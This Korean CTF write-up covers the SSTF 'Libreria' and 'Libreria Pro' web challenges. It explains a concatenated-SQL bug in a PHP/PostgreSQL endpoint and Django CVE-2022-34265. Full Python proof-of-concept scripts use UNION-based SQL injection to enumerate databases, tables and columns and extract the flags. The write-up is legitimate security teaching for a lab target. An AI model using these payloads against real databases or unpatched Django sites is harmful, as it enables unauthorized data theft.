---
# System prepended metadata

title: '[Write-Up] SSTF libreria & libreria pro'

---

# [Write-Up] SSTF libreria & libreria pro

## Prologue
 직장인에게 소중한 주말이지만 요즘에 CTF에서 보기 힘든 SQL injection 문제가 나왔다는 소식에 시간을 내보았습니다.

## Libreria
### Description
```markdown
Welcome to Hacker's Libreria! 

http://libreria.sstf.site 

If you feel hard to solve this challenge, please check out Web tutorials. 

Download: Libreria.zip
```
몇 년 전부터 웹 문제도 소스 코드가 제공되는 방향으로 가야 한다는 의견이 주류가 되면서 불필요한 게싱이 줄어들어 좋습니다.

### Audit
 제공된 PHP 소스 코드를 보면 제일 먼저 `pg_*`함수들로 DBMS가 PostgreSQL라는 걸 파악할 수 있습니다.
사용자의 입력이 쿼리에 주입되는 부분은 index.php 내에 title로 검색, rest.php에 구현된 isbn으로 검색과 책 구매 요청까지 세 부분이 있는데요. 그중 혼자만 prepared statement를 쓰지 않는 책 구매 요청이 수상해 보입니다.
(웹 문제에서는 어색하게 구현되어있는 부분이 공격 벡터일 때가 꽤 있더라고요. 물론 요즘처럼 1day를 활용하는 문제가 많을 땐 얘기가 다릅니다.)
```php
#rest.php:32~49
case 'requestbook':
    if ((isset($_GET['isbn']) && strlen($_GET['isbn']) >= 10)) {
        $res = '{"res": "Sorry, but our budget is not enough to buy <a href=\'https://isbnsearch.org/isbn/'.$_GET['isbn'].'\'>this book</a>."}';
        $db = dbconnect();
        $result = pg_query($db, "SELECT ISBN FROM books WHERE isbn='".$_GET['isbn']."'");
        pg_close($db);
        if ($result) {
            $rows = pg_fetch_assoc($result);
            if ($rows) {
                $isbn = (int)$rows["isbn"];
                if (($isbn >= 1000000000) && ((string)$isbn === $rows["isbn"]))
                {
                    $res = '{"res": "We already have this book('.$rows["isbn"].')."}';
                }
            }
        }
    }
    break;
```
 위는 책 구매 요청 시 이미 존재하는지 파악하는 코드입니다.
이 글을 쓰면서 ISBN 포맷에 대해 잠깐 확인해보니 원래는 10자리를 주로 사용했는데 전자책의 등장으로 출판량이 급증하면서 13자리 ISBN이 규격으로 사용되고 있다고 합니다.
이런 비하인드를 보면 `>=10`이 이해가 안 가는 건 아니지만 저라면 기본값을 설정해두고 db나 env등으로 바꿀 수 있게 했을 것 같네요. 
지금은 공격자의 입장으로 보고 있으므로 당연히 좋은 상황입니다. payload를 더 길게 쓸 수 있다는 건 할 수 있는 게 많기 때문이죠.
`SELECT ISBN FROM books WHERE isbn='{입력값}'` 쿼리를 실행하여 결괏값이 있고 그 결과를 int로 변환했을 때 1_000_000_000 이상이고 int 변환 전의 값과 변환 후 값이 같으면 (정상적인 숫자가 맞으면) 그 값을 출력해줍니다.
입력값에 대한 sanitizing이 아무것도 없다는 것에서 이보다 좋을 순 없습니다.

하지만 이 서비스엔 특이사항이 하나 있습니다. 
```php
#rest.php:10~12
$resp_time = 3.0;

$start = microtime(true);
#rest.php:54~58
$now = microtime(true);

if ($now - $start < $resp_time) {
	usleep((int)(($resp_time + $start - $now) * 1000000));
}
```
에러를 제외한 모든 요청이 응답을 받기까지 3초 이상 걸리게 설계되어있습니다.
![](https://hackmd.io/_uploads/H1c3pNWTn.png)

아마 너무 많은 동시 요청이 서버에 부하를 줄 수 있어 만든 것 같습니다. 이 부분을 해결하기 위해선 요청을 적게 하는 것이 좋습니다. 맨 앞이 0이 아닌 10자리 이상의 숫자이면 출력해준다는 것을 이용하여 PostgreSQL 내부 함수로 `bytes_to_long`을 구현하고 union select로 데이터를 leak하면 될 것 같습니다.
(해당 문제는 멀티스레드를 사용하면 단순히 한 글자씩 출력하는 것으로도 커버할 수 있는 양의 데이터였지만 제약이 없는 상황을 충분히 활용해보고 싶었습니다.)

- bytes_to_long 구현
    1. string to string token(8byte split)
        hex to bigint에서 8byte 제한이 있어 필요한 step입니다. substring과 generate_series 함수 그리고 with 절을 사용해 구현할 수 있었습니다. 그리고 leak할 때 주로 string_agg로 concat후 긁기에 string_agg를 컬럼 명으로 활용하였습니다.
    2. string to hex
        처음 구현할 때는 regexp_split_to_array 와 unnest를 엮어서 복잡하게 구현해야 하나 보고 있었는데 `encode(col_name::bytea, 'hex')` 이런 간단한 방법이 있었습니다.
    3. hex to bigint
        이것도 PostgreSQL가 지원하는 형 변환을 활용했습니다. bigint(int8)도 8byte 제약이 있어서 decimal을 활용할 수 없었나 찾아봤는데 아쉽게도 사용자 정의 함수를 만들지 않고선 좋은 방법이 없었습니다. `concat('x',encode(substring::bytea, 'hex'))::bit(64)::bigint`
- leak
    db에 flag가 있다는 전제로 데이터베이스명, 테이블 명, 컬럼 명이 필요합니다. 이를 pg_database와 information_schema를 활용하여 조회할 수 있습니다.
 그 외에도 유틸 함수로 long_to_bytes, extract_int등을 구현해놓은 최종 PoC는 아래와 같습니다. 데이터가 많지는 않아서 한 테이블을 leak하는데 4초씩이면 충분했습니다.
 
### PoC
```python
import requests
import string
from functools import wraps
from concurrent.futures import ThreadPoolExecutor
import time
URI = "http://libreria.sstf.site/rest.php"
all_data = {}

def long_to_bytes(longd):
    hexs = hex(longd)[2:]
    return ''.join([chr(int(hexs[i:i+2],16)) for i in range(0, len(hexs), 2)]).replace("\x00", "")

def extract_int(result):
    return int(''.join(x for x in result if x.isdigit()))
params = {
    "cmd": "requestbook",
    "isbn": ""
}

def _future_completed(future):
    """ Helper for run_in_executor() """
    exc = future.exception()
    if exc:
        print("Failed to run task on executor", exc_info=exc)

executor = ThreadPoolExecutor()
def run_in_executor(f):
    """
    A decorator to run the given method in the ThreadPoolExecutor.
    """

    @wraps(f)
    def new_f(*args, **kwargs):
        try:
            future = executor.submit(f, *args, **kwargs)
            future.add_done_callback(_future_completed)
        except Exception:
            print("Failed to submit task to executor")
    return new_f

result = {}
@run_in_executor
def _request(params, req_id=0):
    resp = requests.get(URI, params=params)
    if "already" in resp.text:
        result[req_id] = extract_int(resp.text)
    else:
        print(resp.text)
        result[req_id] = -1

def leak_data(query):
    global result
    # get data len
    # query example: select string_agg(datname, ',') from pg_database
    params['isbn'] = f"1' union select 1000000000+(select length(({query})))  -- a"
    _request(params)
    time.sleep(4)
    result_int = result[0]
    result = {}
    if result_int == -1:
        return 
    result_int -= 1_000_000_000
    _round = result_int // 8
    for i in range(_round):
        params['isbn'] = f"1' union select concat('x',encode(substring::bytea, 'hex'))::bit(64)::bigint from (with a as ({query}) select substring(string_agg from generate_series(1,length(string_agg), 8) for 8) from a group by string_agg limit 1 offset {i})c -- a"
        _request(params.copy(), i)
    if result_int % 8 != 0:
        rem = result_int%8
        params['isbn'] = f"1' union select concat('x',encode(substring::bytea, 'hex'))::bit(64)::bigint from (with a as ({query}) select substring(string_agg from {result_int-rem+1} for {rem}) from a group by string_agg)c -- a"
        _request(params.copy(), _round)
    time.sleep(4)
    data = ''
    for i in range(_round):
        data += long_to_bytes(result[i])
    if result_int % 8 != 0:
        data += long_to_bytes(result[_round])
    result = {}
    return data

import time
start = time.time()
print("[Database]")
print(leak_data("select string_agg(datname, ',') from pg_database"))
print("[Table]")
print(leak_data("select string_agg(table_name, ',') from information_schema.tables where table_schema = 'books'"))
print("[Column][adminonly]")
print(leak_data("select string_agg(column_name, ',') from information_schema.columns where table_name = 'adminonly'"))
print("[value][adminonly]")
print(leak_data("select string_agg(value, ',') from adminonly where value ilike '%SCTF{%'"))
print(f"duration = {time.time() - start:.2f}s")
# >> [Database]
# >> postgres,books,template1,template0
# >> [Table]
# >> adminonly,books,employee
# >> [Column][adminonly]
# >> idx,key,value
# >> [value][adminonly]
# >> SCTF{SQL_i5_4_l4n9uage_t0_man4G3_d4ta_1n_Da7aba$e5}
# >> duration = 32.05s
```

## Libreria Pro
### Description
아쉽게도 Pro 문제라고 소스 코드를 안주네요.
### Audit
앞 문제도 classic했으니 우선 `/robots.txt` 요청을 보내봤는데 이게 웬걸 Django 404 Page를 응답받았습니다.
![](https://hackmd.io/_uploads/Hy96TEZa3.png)

서버 프레임워크로 Django를 쓰고 Debug모드가 활성화되어 있다는 것을 알아냈으니 더 많은 정보를 얻으려고 일부러 에러를 내봅시다.
![](https://hackmd.io/_uploads/SJyRpNZT3.png)

책 검색 페이지에선 저 3개의 파라미터를 이용하는 것으로 보이네요. PostgreSQL는 type에 민감하니까 `search_with`를 int형을 쓸 것 같은 year또는 month를 쓰고 `key`를 숫자가 아닌 값으로 줘보았습니다.
![](https://hackmd.io/_uploads/ryt0pVWph.png)

예상한 대로 Error가 발생하고 저희는 Django의 버전 정보까지 획득할 수 있었습니다. 또한 Traceback을 자세히 보면 ORM을 쓰고 있고, [Extract](https://docs.djangoproject.com/en/4.2/ref/models/database-functions/#extract)를 통해서 datetime에서 특정 컴포넌트만 뽑아 비교조건으로 쓰는 것을 확인할 수 있습니다.
![](https://hackmd.io/_uploads/ByJy0Vbpn.png)


Django 버전을 알아냈으니 cve가 있었는지 확인해봅시다. 찾아보니 Extract나 Trunc 함수를 사용 시 SQL injection이 가능한 취약점이 있었습니다.([CVE-2022-34265](https://www.cve.org/CVERecord?id=CVE-2022-34265))
어떤 이유로 발생하는 것인지 한번 Django 4.0.5의 소스 코드를 보며 확인해보겠습니다. ORM 동작 구조를 전반적으로 이해할 필요는 없고 저희가 궁금한 Extract를 처리하는 부분만 살펴봅시다.
```python
# https://github.com/django/django/blob/9736596bce4f711ccf2914284938d85748838c94/django/db/models/functions/datetime.py#L41-L75
class Extract(TimezoneMixin, Transform):
    ...
    def __init__(self, expression, lookup_name=None, tzinfo=None, **extra):
        if self.lookup_name is None:
            self.lookup_name = lookup_name
        ...
    def as_sql(self, compiler, connection):
        ...
        elif isinstance(lhs_output_field, DateField):
            sql = connection.ops.date_extract_sql(self.lookup_name, sql)
        ...
        return sql, params

# https://github.com/django/django/blob/9736596bce4f711ccf2914284938d85748838c94/django/db/backends/postgresql/operations.py#L49-L59
def date_extract_sql(self, lookup_type, field_name):
    # https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-EXTRACT
    if lookup_type == "week_day":
        # For consistency across backends, we return Sunday=1, Saturday=7.
        return "EXTRACT('dow' FROM %s) + 1" % field_name
    elif lookup_type == "iso_week_day":
        return "EXTRACT('isodow' FROM %s)" % field_name
    elif lookup_type == "iso_year":
        return "EXTRACT('isoyear' FROM %s)" % field_name
    else:
        return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)
```
`Extract('pubdate', {search_with})` 는 `EXTRACT('{search_with}' FROM {field_name})`의 형태로 SQL query에 삽입되게 됩니다. 이때 `%` operator는 quote에 대해 별도의 escape 절차 없이 문자열에 삽입되기 때문에 sql injection에 취약하게 됩니다.
Exploit은 EXTRACT 함수를 완성 후 이전 문제와 같이 union select를 통해 data leak을 하면 됩니다.

### PoC
```python
import requests 
from bs4 import BeautifulSoup

URI = "http://libreriapro37657fd3.sstf.site"
params = {
    "key": 2016,
    "search_with": "year",
    "currency":"krw"
}


def _request(params):
    resp = requests.get(URI, params=params)
    soup = BeautifulSoup(resp.text, 'html.parser')
    for td in soup.select('td'):
        if "None" not in td.get_text():
            return td.get_text()

params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(datname,','), null, null, null, null, null, null, null, null from pg_database -- a"
print(f"[database] {_request(params.copy())}")
params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(table_name,','), null, null, null, null, null, null, null, null from information_schema.tables where table_schema like 'books' -- a"
print(f"[table] {_request(params.copy())}")
params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(column_name,','), null, null, null, null, null, null, null, null from information_schema.columns where table_name like 'impl_t0p5ecr3t' -- a"
print(f"[columns] {_request(params.copy())}")
params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(value,','), null, null, null, null, null, null, null, null from impl_t0p5ecr3t -- a"
print(f"[impl_t0p5ecr3t][value] {_request(params.copy())}")
# >> [database] postgres,template1,template0,books 
# >> [table] django_migrations,django_content_type,auth_permission,auth_group,auth_group_permissions,auth_user,auth_user_groups,auth_user_user_permissions,django_admin_log,impl_books,django_session,impl_t0p5ecr3t 
# >> [columns] id,key,value 
# >> [impl_t0p5ecr3t][value] Nice!,SCTF{L3ts_k3Ep_th3_veRs10n_0f_the_fr4mEwOrk_up_to_d4te}
```
## Epilogue
 회사에서 서비스를 개발할 때 ORM을 대부분 사용하며 분명 취약점이 존재할 거라고 계속 생각이 들었는데 실제로 발생했던 취약점을 사용해서 exploit을 해보니 재밌었습니다.